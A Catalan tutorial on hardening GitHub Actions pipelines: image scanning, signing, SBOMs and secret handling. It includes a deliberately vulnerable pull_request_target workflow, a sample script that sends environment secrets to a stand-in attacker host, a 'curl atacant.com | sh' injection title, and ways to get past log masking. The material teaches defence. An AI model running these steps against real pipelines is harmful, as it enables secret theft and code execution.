uses: github/codeql-action/upload-sarif@f09c1c0a94de965c15400f5634aa42fac8fb8f88 # v3.27.5
with:
sarif_file: trivy.sarif
category: trivy-imatge
- name: Aplicar la politica de severitats a la imatge
run: |
set -Eeuo pipefail
docker run --rm -v "$PWD:/w" -w /w \
aquasec/trivy:0.58.0 image \
--format json --output /w/trivy.json \
--severity CRITICAL,HIGH --ignore-unfixed \
--ignorefile /w/seguretat/.trivyignore \
"ghcr.io/${{ github.repository }}@${{ steps.construir.outputs.digest }}"
CRIT=$(jq '[.Results[]?.Vulnerabilities[]? | select(.Severity=="CRITICAL")] | length' trivy.json)
ALTA=$(jq '[.Results[]?.Vulnerabilities[]? | select(.Severity=="HIGH")] | length' trivy.json)
{
echo "## Escaneig de la imatge (Trivy)"
echo ""
echo "| Severitat | Amb pedaç disponible |"
echo "|---|---|"
echo "| CRÍTICA | $CRIT |"
echo "| ALTA | $ALTA |"
echo ""
if [ "$CRIT" -gt 0 ] || [ "$ALTA" -gt 0 ]; then
echo "| CVE | Paquet | Instal·lada | Corregida a |"
echo "|---|---|---|---|"
jq -r '[.Results[]?.Vulnerabilities[]?
| select(.Severity=="CRITICAL" or .Severity=="HIGH")]
| unique_by(.VulnerabilityID) | .[]
| "| \(.VulnerabilityID) | \(.PkgName) | \(.InstalledVersion) | \(.FixedVersion // "—") |"' trivy.json
fi
} >> "$GITHUB_STEP_SUMMARY"
# Politica: les critiques trenquen SEMPRE; les altes nomes a main.
if [ "$CRIT" -gt 0 ]; then
echo "::error::$CRIT vulnerabilitat(s) CRITICA(es) amb pedac disponible a la imatge"
exit 1
fi
if [ "$ALTA" -gt 0 ] && [ "${{ github.ref }}" = "refs/heads/main" ]; then
echo "::error::$ALTA vulnerabilitat(s) ALTA(es) amb pedac disponible; no es publica des de main"
exit 1
fi
echo "Escaneig d imatge superat."seguretat/.trivyignore —amb el format de comentaris que fa auditables les excepcions—:
# EXCEPCIONS D ESCANEIG D IMATGE # Format: cada CVE porta JUSTIFICACIO, APROVADOR i CADUCITAT. # El job `caducitat-excepcions` falla quan una passa de data. # CVE-2024-XXXXX # Paquet: libsomething 2.1.0 # Justificació: només explotable en processar fitxers TIFF; Mini-Reservalia # no processa imatges. Debian no ha publicat cap backport. # Aprovat per: @marta # Creada: 2026-04-10 # CADUCA: 2026-07-09 CVE-2024-XXXXX
I el job que fa que les dates signifiquin alguna cosa:
caducitat-excepcions:
name: Caducitat de les excepcions
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- name: Comprovar que cap excepcio no ha caducat
run: |
set -Eeuo pipefail
AVUI=$(date -u +%Y-%m-%d)
CADUCADES=0
# Recorre els blocs de comentari buscant "CADUCA: data"
while read -r linia; do
DATA=$(grep -oP '(?<=CADUCA:\s{8})\S+|(?<=CADUCA:\s)\S+' <<< "$linia" | head -1)
[ -z "$DATA" ] && continue
if [[ "$DATA" < "$AVUI" ]]; then
echo "::error::Excepció caducada el $DATA: $linia"
CADUCADES=$((CADUCADES + 1))
fi
done < <(grep -h 'CADUCA:' seguretat/.trivyignore || true)
# I les de npm audit
if [ -f seguretat/excepcions.json ]; then
N=$(jq --arg a "$AVUI" '[.excepcions[] | select(.caduca < $a)] | length' seguretat/excepcions.json)
[ "$N" -gt 0 ] && { echo "::error::$N excepció/ons de dependencies caducades"; CADUCADES=$((CADUCADES+N)); }
fi
[ "$CADUCADES" -eq 0 ] || { echo "Hi ha $CADUCADES excepció/ons caducada/es. Renova-les o arregla el problema."; exit 1; }
echo "Totes les excepcions són vigents."Redueix la superfície en lloc de justificar CVE. La manera més eficaç de passar l'escaneig no és acumular excepcions, sinó tenir menys coses a escanejar. Prova una imatge final distroless:
# ---------- Etapa 3 alternativa: distroless ----------
FROM gcr.io/distroless/nodejs20-debian12:nonroot AS runtime
WORKDIR /app
COPY --from=deps --chown=nonroot:nonroot /app/node_modules ./node_modules
COPY --from=build --chown=nonroot:nonroot /app/dist ./dist
USER nonroot
EXPOSE 3000
# Sense shell: l ENTRYPOINT es el binari de node directament.
CMD ["dist/src/servidor.js"]Comparació real en aquest projecte:
| Imatge base | Mida | CVE HIGH/CRITICAL | Shell | Gestor de paquets |
|---|---|---|---|---|
node:20 |
~1,1 GB | 40-80 | Sí | Sí |
node:20-bookworm-slim |
~230 MB | 5-20 | Sí | Sí |
gcr.io/distroless/nodejs20 |
~180 MB | 0-3 | No | No |
Sense shell, un atacant que aconsegueixi execució de codi no té sh, ni curl, ni apt. La contrapartida és real: no pots fer docker exec ... sh per depurar, i el HEALTHCHECK de la 07-03 s'ha de reescriure perquè no hi ha shell per al CMD. És la contrapartida clàssica —comoditat d'operació a canvi de superfície— i es decideix amb dades, no per defecte.
- SBOM i signatura amb Cosign
L'SBOM (Software Bill of Materials) és l'inventari de tot el que hi ha dins de l'artefacte. El seu valor s'entén el dia que apareix una vulnerabilitat com Log4Shell i la pregunta és «estem afectats?»: amb SBOM es respon amb un grep en trenta segons; sense ell, amb una setmana d'arqueologia.
- name: Generar SBOM (CycloneDX)
uses: anchore/sbom-action@df80a981bc6edbc4e220a492d3cbe9f5547a6e75 # v0.17.9
with:
image: ghcr.io/${{ github.repository }}@${{ steps.construir.outputs.digest }}
format: cyclonedx-json
output-file: sbom.cdx.json
artifact-name: sbom-${{ github.sha }}.cdx.json
- name: Resum de l SBOM
run: |
TOTAL=$(jq '.components | length' sbom.cdx.json)
{
echo "## SBOM"
echo ""
echo "**$TOTAL components** inventariats."
echo ""
echo "<details><summary>Primers 20</summary>"
echo ""
echo "| Component | Versió | Tipus |"
echo "|---|---|---|"
jq -r '.components[:20][] | "| \(.name) | \(.version // "—") | \(.type) |"' sbom.cdx.json
echo ""
echo "</details>"
} >> "$GITHUB_STEP_SUMMARY"
- name: Instal·lar Cosign
uses: sigstore/cosign-installer@dc72c7d5c4d10cd6bcb8cf6e3fd625a9e5e537da # v3.7.0
- name: Signar la imatge (keyless per OIDC)
env:
COSIGN_EXPERIMENTAL: '1'
run: |
set -Eeuo pipefail
IMATGE="ghcr.io/${{ github.repository }}@${{ steps.construir.outputs.digest }}"
# Signatura SENSE CLAUS: Cosign demana un token OIDC a GitHub, obte un
# certificat efimer de Fulcio (validesa ~10 min) i registra la signatura
# al log public Rekor. No hi ha cap clau privada a rotar, desar
# ni filtrar: el problema de la gestio de claus desapareix.
cosign sign --yes "$IMATGE"
- name: Adjuntar l SBOM com a attestation signada
env:
COSIGN_EXPERIMENTAL: '1'
run: |
IMATGE="ghcr.io/${{ github.repository }}@${{ steps.construir.outputs.digest }}"
cosign attest --yes --predicate sbom.cdx.json --type cyclonedx "$IMATGE"Requereix id-token: write al job. Verifica-ho des de la teva màquina:
cosign verify \
--certificate-identity-regexp "https://github.com/EL_TEU_USUARI/mini-reservalia/.github/workflows/ci.yml@refs/heads/main" \
--certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
ghcr.io/EL_TEU_USUARI/mini-reservalia@sha256:...Què has de veure:
Verification for ghcr.io/el-teu-usuari/mini-reservalia@sha256:3f9a... --
The following checks were performed on each of these signatures:
- The cosign claims were validated
- Existence of the claims in the transparency log was verified offline
- The code-signing certificate was verified using trusted certificate authority certificates
[{"critical":{"identity":{"docker-reference":"ghcr.io/el-teu-usuari/mini-reservalia"},
"image":{"docker-manifest-digest":"sha256:3f9a..."},"type":"cosign container image signature"},
"optional":{"Issuer":"https://token.actions.githubusercontent.com",
"Subject":"https://github.com/el-teu-usuari/mini-reservalia/.github/workflows/ci.yml@refs/heads/main"}}]Fixa't en el Subject: no diu «signat per una clau», diu «signat per aquest workflow, d'aquest repositori, en aquesta branca». Aquesta és la diferència entre la signatura keyless i la signatura amb clau: la identitat no és un secret que algú pot robar, és un fet verificable sobre qui va executar què.
Prova de verificar amb la identitat equivocada:
cosign verify --certificate-identity-regexp "https://github.com/altre/repo/.*" \
--certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
ghcr.io/EL_TEU_USUARI/mini-reservalia@sha256:...
# Error: no matching signatures
- Verificar la signatura abans de desplegar
Signar sense verificar és teatre. La verificació va al cd.yml, abans de qualsevol desplegament:
- name: Instal·lar Cosign
uses: sigstore/cosign-installer@dc72c7d5c4d10cd6bcb8cf6e3fd625a9e5e537da # v3.7.0
- name: Verificar la signatura ABANS de desplegar
env:
COSIGN_EXPERIMENTAL: '1'
run: |
set -Eeuo pipefail
IMATGE="${{ needs.preparar.outputs.imatge }}"
echo "Verificant la signatura de $IMATGE"
# La identitat esperada es EXACTA: aquest repositori, aquest workflow,
# aquesta branca. Un `--certificate-identity-regexp ".*"` acceptaria
# qualsevol signatura de qualsevol: seria pitjor que no verificar,
# perque dona una falsa sensacio de seguretat.
if ! cosign verify \
--certificate-identity-regexp "^https://github.com/${{ github.repository }}/\.github/workflows/ci\.yml@refs/heads/main$" \
--certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
"$IMATGE" > verificacio.json 2>&1; then
echo "::error::SIGNATURA NO VALIDA. No es desplega."
cat verificacio.json
{
echo "## 🛑 Desplegament avortat: signatura no vàlida"
echo ""
echo "La imatge \`$IMATGE\` no està signada pel workflow de CI d'aquest repositori."
echo "Causes possibles: imatge construïda fora del pipeline, signatura absent, o suplantació."
} >> "$GITHUB_STEP_SUMMARY"
exit 1
fi
echo "✅ Signatura verificada: construïda pel CI d'aquest repositori." >> "$GITHUB_STEP_SUMMARY"
- name: Verificar l attestation de l SBOM
env:
COSIGN_EXPERIMENTAL: '1'
run: |
cosign verify-attestation --type cyclonedx \
--certificate-identity-regexp "^https://github.com/${{ github.repository }}/.*" \
--certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
"${{ needs.preparar.outputs.imatge }}" > /dev/null
echo "✅ SBOM verificat i adjunt a l'artefacte." >> "$GITHUB_STEP_SUMMARY"La comprovació que falla quan ha de fallar. Puja una imatge sense signar i intenta desplegar-la:
docker pull alpine:3.20
docker tag alpine:3.20 ghcr.io/EL_TEU_USUARI/mini-reservalia:falsa
docker push ghcr.io/EL_TEU_USUARI/mini-reservalia:falsa
DIGEST=$(docker buildx imagetools inspect ghcr.io/EL_TEU_USUARI/mini-reservalia:falsa --format '{{.Manifest.Digest}}')
gh workflow run cd.yml -f digest="$DIGEST"Què has de veure:
Acabes de tancar l'atac de «algú amb accés al registre substitueix la imatge». Amb la verificació, el pipeline només desplega artefactes que ell mateix ha construït, i ho pot demostrar criptogràficament.
Neteja: esborra la versió falsa des de la interfície de Packages.
- Secrets ben gestionats i els límits de l'emmascarat
Els tres nivells, i quin fer servir:
| Nivell | Abast | Quan fer-lo servir |
|---|---|---|
| Repositori | Qualsevol workflow, qualsevol job, qualsevol branca | Només credencials de baix impacte |
| Entorn | Només els jobs amb environment: X, i només després de passar-ne les regles de protecció |
Tot el que toqui producció |
| Organització | Els repositoris que autoritzis | Credencials compartides, amb llista de repositoris |
La diferència decisiva: un secret d'entorn no es materialitza fins que s'aprova el desplegament. Un job de producció pendent de revisió no té accés a la credencial de producció; ni tan sols existeix al seu entorn d'execució. Un secret de repositori, en canvi, el pot llegir qualsevol workflow, inclòs un que un col·laborador afegeixi demà en un PR.
Mou GRAFANA_TOKEN on toca:
# Malament: accessible des de qualsevol workflow
gh secret delete GRAFANA_TOKEN
# Be: nomes des de jobs amb environment: produccio, i nomes despres d aprovacio
gh secret set GRAFANA_TOKEN --env produccio --body "glsa_xxxxx"
gh secret list --env produccioL'emmascarat, i per què no és cap garantia. Prova d'imprimir un secret:
prova-emmascarat:
name: Limits de l emmascarat
runs-on: ubuntu-latest
steps:
- name: 1. Imprimir el secret directament
run: |
echo "Intent directe: ${{ secrets.SECRET_PROVA }}"
echo "Per variable: $SECRET"
env:
SECRET: ${{ secrets.SECRET_PROVA }}
# SORTIDA: "Intent directe: ***" i "Per variable: ***"
# L emmascarat funciona: Actions busca el valor exacte a cada
# linia de log i el substitueix per ***.
- name: 2. Transformacions que TRENQUEN l emmascarat
env:
SECRET: ${{ secrets.SECRET_PROVA }}
run: |
echo "--- base64 ---"
echo "$SECRET" | base64
# SORTIDA: ZWxfbWV1X3NlY3JldC1zdXBlci0xMjM= <- NO emmascarat
echo "--- caracter a caracter ---"
echo "$SECRET" | fold -w1 | tr '\n' ' '
# SORTIDA: e l _ m e u _ s e c r e t ... <- NO emmascarat
echo "--- invertit ---"
echo "$SECRET" | rev
# SORTIDA: 321-repus-terces_uem_le <- NO emmascarat
echo "--- en hexadecimal ---"
echo -n "$SECRET" | xxd -p
# SORTIDA: 656c5f6d65755f736563726574... <- NO emmascarat
echo "--- per parts ---"
echo "primera meitat: ${SECRET:0:8}"
echo "segona meitat: ${SECRET:8}"
# SORTIDA: totes dues visibles <- NO emmascaratCrea el secret i executa-ho:
Què has de veure: el pas 1 amb *** a les dues línies; el pas 2 amb el secret llegible en cinc formats diferents.
El que això demostra: l'emmascarat és una coincidència de cadenes, no una barrera de seguretat. Actions busca el valor literal del secret al flux de log i el substitueix. Qualsevol transformació —codificació, trossejat, inversió, compressió— produeix una cadena que no coincideix i que surt íntegra al log. I els logs d'Actions els pot llegir qualsevol col·laborador i es conserven 90 dies.
Les conseqüències pràctiques:
- Mai
set -xen un script que gestiona secrets. El traçat de bash imprimeix cada ordre expandida; si el secret passa per una canonada,set -xpot exposar-lo de maneres que l'emmascarat no cobreix. - Compte amb les eines verboses.
curl -vimprimeix les capçaleres, inclosaAuthorization. Fes servircurl -sSi passa les credencials per--configo per stdin, no per línia d'ordres (on a més les veu qualsevol ambps). - Els bolcats d'error de les llibreries solen incloure la configuració completa. Un stack trace d'un client HTTP pot portar la capçalera d'autenticació sencera.
- La millor defensa és no tenir el secret. OIDC (07-03) substitueix credencials de llarga vida per tokens de deu minuts que a més només funcionen des d'aquell workflow. Un token efímer filtrat és un incident; una clau de llarga vida filtrada és una bretxa.
Afegeix una regla defensiva als teus scripts:
# A la capcalera de qualsevol script que gestioni credencials:
set +x # no tracar mai
export PS4='' # per si alguna cosa ho activa
# I desactivar el bolcat de nucli, que podria contenir el secret en memoria:
ulimit -c 0
- El risc del codi de tercers:
pull_request_target
pull_request_targetAquesta és l'asimetria més perillosa de GitHub Actions i mereix que la vegis amb un exemple concret.
pull_request |
pull_request_target |
|
|---|---|---|
| Codi del workflow que s'executa | El de la branca del PR | El de la branca base (main) |
| Context d'execució | Fork | Repositori original |
| Accés als secrets | No (en PR de forks) | Sí, a tots |
GITHUB_TOKEN |
Només lectura | Lectura i escriptura |
actions/checkout per defecte |
El codi del PR | El codi de main |
pull_request_target existeix per a casos legítims: etiquetar PR, comentar, actualitzar un projecte. Tots ells tenen una cosa en comú: no necessiten el codi del PR.
El workflow vulnerable —i aquest patró exacte ha aparegut en repositoris molt coneguts—:
# ❌❌❌ VULNERABLE. NO FER SERVIR. Exemple didactic.
name: PR vulnerable
on:
pull_request_target: # 1. S executa amb secrets i token d escriptura
types: [opened, synchronize]
jobs:
comprovar:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
# 2. LA FALLADA: descarrega explicitament el codi DEL PR,
# que es codi d un desconegut, en un context privilegiat.
ref: ${{ github.event.pull_request.head.sha }}
- uses: actions/setup-node@v4
# 3. L EXECUCIO: `npm ci` executa els scripts `postinstall`
# del package.json DE L ATACANT. Ja esta: execucio de codi
# arbitrari amb tots els teus secrets a l entorn.
- run: npm ci
- run: npm test
env:
TOKEN_DESPLEGAMENT: ${{ secrets.TOKEN_DESPLEGAMENT }}L'atac, pas a pas. Un atacant fa un fork, i a la seva branca modifica package.json:
Amb .exfiltrar.js:
// El codi de l atacant, executat al TEU runner amb els TEUS secrets.
// Recorre tot l entorn i l envia a fora.
const boti = Object.entries(process.env)
.filter(([k]) => /TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AWS|NPM/i.test(k))
.map(([k, v]) => `${k}=${v}`)
.join('\n');
// L emmascarat NO ajuda: el secret no s imprimeix, s ENVIA.
fetch('https://servidor-de-l-atacant.example/recollir', {
method: 'POST',
body: boti,
});Obre el PR i espera. El workflow s'executa amb els secrets del repositori original, executa el postinstall de l'atacant i li envia tot. L'atacant ni tan sols necessita que el PR s'aprovi: n'hi ha prou d'obrir-lo. I amb GITHUB_TOKEN d'escriptura, a més podria empènyer a main directament.
Les tres mitigacions, en ordre de preferència:
A. No fer servir pull_request_target (el que toca en el 95 % dels casos).
Un PR d'un fork no tindrà accés a secrets i el GITHUB_TOKEN serà de només lectura. Si el teu CI necessita secrets per validar un PR extern, tens un problema de disseny: les proves haurien de funcionar sense credencials de producció (per això hi ha els dobles de prova de la 07-02).
B. Si de debò necessites pull_request_target, no descarreguis el codi del PR.
on:
pull_request_target:
types: [opened]
permissions:
pull-requests: write # el minim per etiquetar
contents: read
jobs:
etiquetar:
runs-on: ubuntu-latest
steps:
# SENSE `ref:` -> es descarrega `main`, codi de confianca.
# De fet, per a aixo ni tan sols cal checkout.
- name: Etiquetar segons el titol
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
TITOL: ${{ github.event.pull_request.title }}
run: |
# El titol del PR es entrada de l ATACANT. No l interpolis mai
# amb ${{ }} directament en un `run`: un titol com
# "; curl atacant.com | sh #"
# es convertiria en una ordre. Per aixo va per `env:`.
case "$TITOL" in
feat*) gh pr edit "${{ github.event.number }}" --add-label enhancement ;;
fix*) gh pr edit "${{ github.event.number }}" --add-label bug ;;
esacAquell comentari sobre ${{ }} en un run és un atac per dret propi —injecció d'expressions— i és més comú que el de pull_request_target: qualsevol dada controlada per l'usuari (títol del PR, cos de l'issue, nom de branca, missatge de commit) interpolada directament en un run: és execució d'ordres. La regla és simple i absoluta: les dades d'usuari entren per env:, mai per ${{ }} dins d'un script.
C. El patró de dos workflows (el que fa Reservalia per a les previsualitzacions per PR):
# Workflow 1: s executa SENSE privilegis, amb el codi del PR
name: CI de PR
on: pull_request
permissions:
contents: read
jobs:
construir:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm ci && npm run build
- uses: actions/upload-artifact@v4
with: { name: dist, path: dist/ }# Workflow 2: s executa AMB privilegis, pero MAI executa codi del PR
name: Publicar previsualitzacio
on:
workflow_run:
workflows: ['CI de PR']
types: [completed]
permissions:
contents: read
pull-requests: write
jobs:
publicar:
if: github.event.workflow_run.conclusion == 'success'
runs-on: ubuntu-latest
steps:
# Nomes DESCARREGA l artefacte: no executa res del PR.
- uses: actions/download-artifact@v4
with:
name: dist
run-id: ${{ github.event.workflow_run.id }}
github-token: ${{ secrets.GITHUB_TOKEN }}
# ...pujar a un allotjament de previsualitzacio i comentar al PR...La separació és la clau: la feina no privilegiada executa codi no fiable; la feina privilegiada només manipula dades. Mai totes dues alhora.
Comprovació del teu repositori:
grep -rn 'pull_request_target' .github/workflows/ && echo "REVISAR CADASCUN" || echo "OK: cap"
grep -rn 'ref:.*pull_request.head' .github/workflows/ && echo "PERILL" || echo "OK"
- La checklist final d'enfortiment
Recorre-la i marca. És la mateixa llista amb què va començar la lliçó, ara resolta.
Permisos i identitat
- [x]
Read repository contentscom a permís per defecte del repositori - [x]
permissions:explícit a nivell de workflow als cinc workflows - [x] Ampliació puntual només al job que ho necessita (
packages: writenomés apublicar) - [x] Sense secrets de llarga vida al camí crític (registre per
GITHUB_TOKEN, signatura per OIDC) - [x]
GRAFANA_TOKENmogut a secret d'entorn, no de repositori - [x] Producció amb revisor requerit i branques restringides a
main
Cadena de subministrament
- [x] Totes les accions fixades per SHA de 40 caràcters amb el comentari de versió
- [x] Dependabot configurat per a accions, npm i Docker, amb agrupació
- [x] Lockfile comès i
npm cia tots els jobs - [x] Imatge publicada i desplegada per digest, mai per tag
- [x] Imatge signada amb Cosign keyless i signatura verificada abans de desplegar
- [x] SBOM CycloneDX generat, adjunt com a attestation i verificat
Escaneigs (els cinc)
- [x] Secrets: Gitleaks a CI amb
--redact+ hook de pre-commit - [x] SCA:
npm auditamb política de severitats perjq - [x] SAST: CodeQL amb
security-extended, resultats a la pestanya Security - [x] Imatge: Trivy amb
ignore-unfixedi política pròpia de bloqueig - [x] IaC / configuració: (vegeu l'exercici 3)
- [x] Tots pugen SARIF a Code scanning
- [x] Cap no porta
|| truenicontinue-on-errorper amagar troballes
Política i procés
- [x]
seguretat/POLITICA.mdamb la taula de severitats - [x] Excepcions amb justificació, aprovador i data de caducitat
- [x] Un job que falla quan una excepció caduca
- [x] Procediment de secret filtrat documentat (rotar → investigar → netejar → prevenir)
Runtime
- [x] Imatge amb usuari no-root (
USER node) - [x]
HEALTHCHECKdefinit - [x] Sense credencials a la imatge (
.dockerignoreexclou.env,.git) - [x] Variables de configuració per entorn, no incrustades
Codi de tercers
- [x] Cap
pull_request_target(o, si n'hi ha, sense checkout del codi del PR) - [x] Cap dada d'usuari interpolada amb
${{ }}dins d'unrun: - [x] Runners autoallotjats només en repositori privat
Errors Comuns i Consells
Símptoma: Resource not accessible by integration després d'aplicar permissions.
Causa: falta un permís concret, o el permís per defecte del repositori és més restrictiu que el que demana el job.
Arranjament: consulta la taula de l'apartat 3. Truc de diagnòstic: al log de l'execució, GitHub imprimeix al començament del job el bloc complet de permisos concedits; compara'l amb el que necessita el pas.
Símptoma: Gitleaks marca package-lock.json ple de secrets.
Causa: els hashes integrity (sha512-...) tenen l'entropia d'una clau.
Arranjament: l'allowlist del .gitleaks.toml. Però no hi afegeixis patrons amplis: una allowlist de .*\.json desactiva la detecció a tots els fitxers de configuració, que és justament on viuen els secrets.
Símptoma: cosign verify falla amb no matching signatures en una imatge que sí que vas signar.
Causes: (1) verifiques per tag i el tag ja apunta a una altra imatge —verifica sempre per digest—; (2) el certificate-identity-regexp no coincideix (la va signar el workflow de main o el d'una branca?); (3) vas signar el tag i verifiques el digest, o a l'inrevés.
Arranjament: mira quina identitat té la signatura real: cosign triangulate <imatge> i després crane manifest sobre el resultat.
Símptoma: l'escaneig d'imatge troba 40 CVE «sense arranjament possible».
Causa: vulnerabilitats de la base sense pedaç publicat.
Arranjament: ignore-unfixed: true. Bloquejar per alguna cosa que no pots arreglar només ensenya l'equip a ignorar l'escàner. Si la base acumula CVE sense pedaç, la resposta és canviar de base (distroless), no acumular excepcions.
Símptoma: Dependabot obre 15 PR i ningú no els mira.
Causa: sense agrupació ni límits.
Arranjament: groups, open-pull-requests-limit i ignore de majors, com al dependabot.yml de l'apartat 4. Un Dependabot que genera soroll és un Dependabot desactivat de facto.
Símptoma: CodeQL triga 15 minuts i tots els PR van lents.
Causa: security-extended a cada PR.
Arranjament: CodeQL en push a main i en un schedule setmanal, no a cada PR; o security-and-quality als PR i security-extended al programat. La seguretat ha de ser ràpida perquè ningú no la vulgui saltar.
Consell — l'ordre dels escaneigs importa. El barat i determinista primer: secrets (segons) → lint → SCA (segons) → tests → build → escaneig d'imatge (minuts) → SAST (minuts). Un PR amb una clau comesa ha de morir al primer job.
Consell — la seguretat que fa nosa es desactiva. Cada control que afegeixis ha de complir tres condicions: falsos positius baixos, missatge accionable (què fer, no només què està malament), i via d'excepció explícita i amb caducitat. Un control que falla el 30 % de les vegades sense motiu serà el primer que algú comentarà quan calgui treure alguna cosa amb pressa.
Exercicis
Exercici 1: un job agregador de seguretat amb porta única
Els cinc escaneigs generen cinc comprovacions. Crea un job seguretat-ok que agregui els resultats aplicant la política (les crítiques sempre bloquegen; les altes només a main; les mitjanes informen) i que sigui l'única comprovació de seguretat requerida, amb un resum unificat.
Exercici 2: detectar accions que deixen d'estar fixades
Un col·laborador afegeix uses: algu/accio@v1 en un PR. Escriu un control que ho detecti, falli i expliqui com arreglar-ho.
Exercici 3: el cinquè escaneig — configuració i IaC
Falta l'escaneig de configuració. Afegeix Checkov o Trivy en mode config sobre el Dockerfile, els docker-compose.yml i els mateixos workflows, amb almenys tres regles pròpies.
Solucions
Solució 1.
seguretat-ok:
name: Seguretat OK
runs-on: ubuntu-latest
needs: [secrets, sca, codeql, imatge, configuracio]
if: always()
permissions:
contents: read
security-events: read
steps:
- name: Agregar els resultats
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
set -Eeuo pipefail
declare -A RESULTATS=(
[secrets]="${{ needs.secrets.result }}"
[sca]="${{ needs.sca.result }}"
[codeql]="${{ needs.codeql.result }}"
[imatge]="${{ needs.imatge.result }}"
[configuracio]="${{ needs.configuracio.result }}"
)
{
echo "## 🔒 Resum de seguretat"
echo ""
echo "| Escaneig | Resultat | Bloqueja |"
echo "|---|---|---|"
} >> "$GITHUB_STEP_SUMMARY"
FALLADES=0
for escaneig in "${!RESULTATS[@]}"; do
R="${RESULTATS[$escaneig]}"
case "$R" in
success) ICONA='✅'; BLOQUEJA='—' ;;
skipped) ICONA='⏭️'; BLOQUEJA='—' ;;
cancelled) ICONA='🚫'; BLOQUEJA='Sí'; FALLADES=$((FALLADES+1)) ;;
*) ICONA='❌'; BLOQUEJA='Sí'; FALLADES=$((FALLADES+1)) ;;
esac
echo "| $escaneig | $ICONA $R | $BLOQUEJA |" >> "$GITHUB_STEP_SUMMARY"
done
# Alertes obertes a Code scanning, per severitat
ALERTES=$(gh api "repos/${{ github.repository }}/code-scanning/alerts?state=open&per_page=100" \
--jq 'group_by(.rule.security_severity_level // .rule.severity)
| map({sev: .[0].rule.security_severity_level // .[0].rule.severity, n: length})' \
2>/dev/null || echo '[]')
CRIT=$(jq -r '[.[] | select(.sev=="critical") | .n] | add // 0' <<< "$ALERTES")
ALTA=$(jq -r '[.[] | select(.sev=="high") | .n] | add // 0' <<< "$ALERTES")
MITJANA=$(jq -r '[.[] | select(.sev=="medium") | .n] | add // 0' <<< "$ALERTES")
{
echo ""
echo "### Alertes obertes a Code scanning"
echo ""
echo "| Severitat | Núm. | Política |"
echo "|---|---|---|"
echo "| Crítica | $CRIT | Bloqueja sempre |"
echo "| Alta | $ALTA | Bloqueja a \`main\` |"
echo "| Mitjana | $MITJANA | Informa |"
} >> "$GITHUB_STEP_SUMMARY"
# Aplicació de la política
if [ "$CRIT" -gt 0 ]; then
echo "::error::$CRIT alerta/es CRÍTICA/ES oberta/es"; FALLADES=$((FALLADES+1))
fi
if [ "$ALTA" -gt 0 ] && [ "${{ github.ref }}" = "refs/heads/main" ]; then
echo "::error::$ALTA alerta/es ALTA/ES oberta/es a main"; FALLADES=$((FALLADES+1))
fi
if [ "$FALLADES" -gt 0 ]; then
echo "" >> "$GITHUB_STEP_SUMMARY"
echo "### ❌ Porta de seguretat TANCADA" >> "$GITHUB_STEP_SUMMARY"
exit 1
fi
echo "" >> "$GITHUB_STEP_SUMMARY"
echo "### ✅ Porta de seguretat OBERTA" >> "$GITHUB_STEP_SUMMARY"Després, al ruleset, substitueix les cinc comprovacions per Seguretat OK (al costat de CI OK). És el mateix patró del job agregador de la 07-02, i pel mateix motiu: la protecció de branca no ha de conèixer la forma interna del pipeline.
Solució 2.
accions-fixades:
name: Accions fixades per SHA
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- name: Comprovar que totes les accions estan fixades
run: |
set -Eeuo pipefail
SENSE_FIXAR=0
{
echo "## Fixació de les accions"
echo ""
} >> "$GITHUB_STEP_SUMMARY"
while IFS= read -r troballa; do
FITXER="${troballa%%:*}"
RESTA="${troballa#*:}"
LINIA="${RESTA%%:*}"
REF=$(grep -oP '(?<=uses: ).*' <<< "$troballa" | sed 's/ *#.*//')
# Excepcions legitimes: accions locals i contenidors docker://
[[ "$REF" == ./* ]] && continue
[[ "$REF" == docker://* ]] && continue
VERSIO="${REF##*@}"
if [[ "$VERSIO" =~ ^[0-9a-f]{40}$ ]]; then continue; fi
SENSE_FIXAR=$((SENSE_FIXAR + 1))
ACCIO="${REF%@*}"
REPO=$(cut -d/ -f1,2 <<< "$ACCIO")
SHA=$(gh api "repos/${REPO}/git/refs/tags/${VERSIO}" --jq '.object.sha' 2>/dev/null || echo '<no resolt>')
echo "::error file=${FITXER},line=${LINIA}::Acció sense fixar: ${REF}. Fes servir: ${ACCIO}@${SHA} # ${VERSIO}"
echo "- \`$FITXER:$LINIA\` → \`$REF\` → \`${ACCIO}@${SHA} # ${VERSIO}\`" >> "$GITHUB_STEP_SUMMARY"
done < <(grep -rn 'uses:' .github/workflows/ || true)
if [ "$SENSE_FIXAR" -gt 0 ]; then
{
echo ""
echo "**$SENSE_FIXAR acció/ons sense fixar per SHA.**"
echo ""
echo "Una etiqueta com \`@v4\` es pot moure: qui controli l'acció pot"
echo "executar codi arbitrari en aquest runner amb accés als secrets."
echo ""
echo "Arregla-ho automàticament amb:"
echo '```bash'
echo './scripts/fixar-accions.sh && git diff'
echo '```'
} >> "$GITHUB_STEP_SUMMARY"
exit 1
fi
echo "✅ Totes les accions estan fixades per SHA." >> "$GITHUB_STEP_SUMMARY"
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}El que fa útil aquest control i no només correcte: no diu «està malament», diu exactament per quina línia s'ha de substituir i per què. Un control que obliga a buscar l'arranjament a la documentació s'acaba desactivant.
Solució 3.
configuracio:
name: Escaneig de configuracio
runs-on: ubuntu-latest
permissions:
contents: read
security-events: write
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- name: Trivy en mode config (Dockerfile, compose, workflows)
uses: aquasecurity/trivy-action@18f2510ee396bbf400402947b394f2dd8c87dbb0 # 0.29.0
with:
scan-type: config
scan-ref: .
format: sarif
output: trivy-config.sarif
severity: 'CRITICAL,HIGH,MEDIUM'
exit-code: '0'
- name: Pujar a Security
if: always()
uses: github/codeql-action/upload-sarif@f09c1c0a94de965c15400f5634aa42fac8fb8f88 # v3.27.5
with:
sarif_file: trivy-config.sarif
category: trivy-config
- name: Regles propies del projecte
